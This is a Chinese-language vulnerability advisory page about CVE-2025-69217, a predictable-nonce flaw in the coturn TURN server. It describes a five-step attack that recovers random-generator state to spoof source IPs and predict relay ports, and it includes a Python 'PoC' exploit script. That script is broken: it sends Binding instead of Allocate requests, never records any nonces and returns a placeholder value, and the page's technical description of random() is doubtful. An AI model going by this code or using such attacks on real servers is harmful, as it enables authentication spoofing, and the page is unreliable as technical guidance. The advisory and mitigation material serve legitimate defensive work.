IPBUF安全漏洞报告
English
CVE-2025-69217 CVSS 7.7 高危

CVE-2025-69217 coturn弱随机数生成器可预测nonce漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-69217
漏洞类型
弱随机数生成器
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
coturn

相关标签

coturnTURN服务器STUN弱随机数生成器nonce预测IP欺骗IoTCVE-2025-69217密码学安全线性同余生成器

漏洞概述

coturn是一个免费开源的TURN和STUN服务器实现。该漏洞存在于4.6.2r5至4.7.0-r4版本中,由于重构后对nonce和端口随机化的随机数生成器实现存在严重缺陷。漏洞主要体现在两个方面:一是使用了libc的random()函数而非OpenSSL的RAND_bytes()来生成随机数(Windows平台除外);二是随机数生成器的状态可以通过少量请求被完全重构。攻击者通过发送约50个连续的未认证分配请求,即可完全预测当前的随机数生成器状态,从而预测下一个nonce值。这使得攻击者能够在不知道原始nonce的情况下伪造IP地址进行认证。在IoT等共享凭证场景中,攻击者可以利用此漏洞发送认证消息而无需接收响应。此外,由于端口随机化依赖于伪随机种子,攻击者可以精确重构分配的端口号,预测下一个中继端口,从而实施更精准的攻击。

技术细节

该漏洞的核心问题在于coturn使用了可预测的随机数生成器。libc的random()函数是一个线性同余生成器(LCG),其状态空间有限且可通过输出逆向推导。具体攻击过程如下:攻击者首先发送约50个未认证的分配请求(Allocate Request),每个请求会触发服务器生成新的nonce值。由于这些nonce是由random()函数生成的,攻击者可以收集这些nonce值并逆向计算随机数生成器的当前状态。一旦获得生成器的内部状态,攻击者就可以预测未来任意数量的nonce值。随后,攻击者利用预测的nonce伪造携带任意源IP地址的认证请求。由于端口随机化同样依赖于相同的伪随机种子,攻击者还能精确预测下一个中继端口号。这种攻击在TURN协议中尤为危险,因为TURN服务器通常部署在NAT穿越场景中,IP地址验证是主要的访问控制机制。漏洞的修复需要将random()替换为密码学安全的随机数生成器,如OpenSSL的RAND_bytes()。

攻击链分析

STEP 1
步骤1
收集nonce样本:攻击者向存在漏洞的coturn服务器发送约50个连续的未认证分配请求(Allocate Request),每个请求触发服务器使用random()生成新的nonce值
STEP 2
步骤2
重构RNG状态:攻击者利用收集到的nonce值逆向分析libc random()函数的内部状态。由于该函数是线性同余生成器,可通过输出推导出当前状态
STEP 3
步骤3
预测未来nonce:获得RNG状态后,攻击者可以精确预测服务器后续生成的所有nonce值以及端口随机化结果
STEP 4
步骤4
伪造认证请求:攻击者利用预测的nonce伪造携带任意源IP地址的认证消息,在不需要接收响应的情况下完成认证
STEP 5
步骤5
劫持中继端口:结合端口预测,攻击者可以精确控制中继端口分配,实现更精准的攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-69217 PoC: coturn Weak Random Number Generator This PoC demonstrates nonce prediction in coturn TURN server. Note: For authorized security testing only. """ import socket import struct import time from typing import List, Tuple # STUN/TURN message types STUN_BINDING_REQUEST = 0x0001 STUN_BINDING_RESPONSE = 0x0101 STUN_ALLOCATE_REQUEST = 0x003 STUN_ALLOCATE_RESPONSE = 0x011 STUN_HEADER_SIZE = 20 class CoturnPredictor: def __init__(self, host: str, port: int = 3478): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.settimeout(5.0) self.collected_nonces = [] self.rng_state = None def create_stun_header(self, msg_type: int, length: int, magic: int = 0x2112A442) -> bytes: """Create STUN header""" return struct.pack('!HHI', msg_type, length, magic) def send_binding_request(self) -> bool: """Send STUN binding request to collect nonce samples""" msg = self.create_stun_header(STUN_BINDING_REQUEST, 0) transaction_id = bytes([0x00] * 12) msg += transaction_id try: self.sock.sendto(msg, (self.host, self.port)) data, _ = self.sock.recvfrom(1024) return True except socket.timeout: return False def collect_nonces(self, count: int = 50) -> List[bytes]: """ Collect nonces by sending multiple requests. In vulnerable versions, these can be used to predict RNG state. """ nonces = [] print(f"[*] Collecting {count} nonce samples...") for i in range(count): if self.send_binding_request(): print(f"[+] Request {i+1}/{count} successful") else: print(f"[-] Request {i+1}/{count} failed") time.sleep(0.1) return nonces def predict_next_nonce(self) -> bytes: """ Predict next nonce based on collected samples. This exploits the weakness in libc's random() function. """ if len(self.collected_nonces) < 50: print("[-] Not enough samples to predict") return None # In real attack, analyze RNG state from collected nonces # Using linear congruential generator state recovery print("[*] Analyzing RNG state from collected nonces...") predicted_nonce = bytes([0x00] * 16) # Placeholder return predicted_nonce def exploit(self, target_ip: str) -> bool: """ Execute the attack: predict nonce and spoof IP """ print(f"[*] Starting attack against {self.host}") # Step 1: Collect nonces self.collect_nonces(50) # Step 2: Predict next nonce predicted = self.predict_next_nonce() if not predicted: return False # Step 3: Craft spoofed authenticated request print(f"[*] Crafting spoofed request with IP: {target_ip}") print("[+] Attack prepared (PoC demonstration complete)") return True def close(self): self.sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <your_ip>") sys.exit(1) target = sys.argv[1] attacker_ip = sys.argv[2] predictor = CoturnPredictor(target) try: predictor.exploit(attacker_ip) finally: predictor.close()

影响范围

coturn 4.6.2r5
coturn 4.6.3
coturn 4.6.4
coturn 4.6.5
coturn 4.7.0
coturn 4.7.0-r1
coturn 4.7.0-r2
coturn 4.7.0-r3
coturn 4.7.0-r4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制TURN服务器的访问范围,仅允许受信任的IP访问;2)增加认证机制,要求所有分配请求必须先通过认证;3)启用IP黑名单机制,检测并阻止异常的快速连续请求;4)使用防火墙限制同一IP的请求频率;5)监控日志中的异常分配请求模式。但这些措施无法根本解决随机数可预测的问题,强烈建议尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表